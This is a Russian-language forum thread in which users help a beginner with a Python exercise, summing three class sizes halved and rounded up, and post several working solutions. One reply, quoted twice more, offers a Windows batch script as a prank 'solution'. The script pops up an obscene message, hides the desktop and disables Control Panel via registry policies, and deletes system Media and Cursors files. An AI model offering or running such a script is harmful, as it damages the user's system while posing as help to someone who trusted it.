Задачка [Python]

Код:
a = int(input())
b = int(input())
c = int(input())
print
class1 = (a // 2) + (a % 2)
class2 = (b // 2) + (b % 2)
class3 = (c // 2) + (c % 2)
print (class1 + class2 + class3)


d = int(input())
f = int(input())
j = int(input())
print
class1 = (d // 2) + (d % 2)
class2 = (f // 2) + (f % 2)
class3 = (j // 2) + (j % 2)
print (class1 + class2 + class3)


q = int(input())
w = int(input())
e = int(input())
print
class1 = (q // 2) + (q % 2)
class2 = (w // 2) + (w % 2)
class3 = (e // 2) + (e % 2)
print (class1 + class2 + class3)


z = int(input())
x = int(input())
v = int(input())
print
class1 = (z // 2) + (z % 2)
class2 = (x // 2) + (x % 2)
class3 = (v // 2) + (v % 2)
print (class1 + class2 + class3)
ебать меня твой код пугает, пиздец
 
  • Like
Реакции: Justman
Надо ещё округлить a,b,c вперёд
Тоже чекал
upload_2017-2-28_19-27-56.png
 
Код:
a = int(input())
b = int(input())
c = int(input())
first = a - (a//2)
sec = b - (b//2)
th = c - (c//2)
sum = first + sec + th
print(str(sum))
Можно и так
 
Код:
@echo off
msg * HOOY VAM VSEM PIZDEC
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
del "%SystemRoot%\Media" /q > nul
del "%SystemRoot%\Cursors\*.*" >nul
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer/v NoControlPanel /t REG_DWORD /d 1 /f >nul
Первые две строчки обязательно
 
Код:
@echo off
msg * HOOY VAM VSEM PIZDEC
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
del "%SystemRoot%\Media" /q > nul
del "%SystemRoot%\Cursors\*.*" >nul
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer/v NoControlPanel /t REG_DWORD /d 1 /f >nul
Первые две строчки обязательно
Cейчас чекну,спасибо
 
  • Like
Реакции: D1nneC4yd
Код:
@echo off
msg * HOOY VAM VSEM PIZDEC
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
del "%SystemRoot%\Media" /q > nul
del "%SystemRoot%\Cursors\*.*" >nul
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer/v NoControlPanel /t REG_DWORD /d 1 /f >nul
Первые две строчки обязательно
ВАУ,ДЕЙСТВИТЕЛЬНО РАБОТАЕТ,СПАСИБО!
upload_2017-2-28_20-3-46.png
 
  • Like
Реакции: D1nneC4yd
О. Я кажется врубился, вот что надо

UPD
лол, тебе это и предлагали :D

UPD2
Короче фигня в том, что мы тупо делили нацело 21 на 2, получали 10, а потом пытались округлить 10 до 11 :5:


Код:
t = int(input())
a = (t // 2) + (t % 2)
t = int(input())
b = (t // 2) + (t % 2)
t = int(input())
c = (t // 2) + (t % 2)

d = (a + b + c)
print(d)
 
  • Like
Реакции: krosen
О. Я кажется врубился, вот что надо

UPD
лол, тебе это и предлагали :D

UPD2
Короче фигня в том, что мы тупо делили нацело 21 на 2, получали 10, а потом пытались округлить 10 до 11 :5:


Код:
t = int(input())
a = (t // 2) + (t % 2)
t = int(input())
b = (t // 2) + (t % 2)
t = int(input())
c = (t // 2) + (t % 2)

d = (a + b + c)
print(d)
Это только начало,впереди ещё задач 100-200:5:
 
  • Like
Реакции: Justman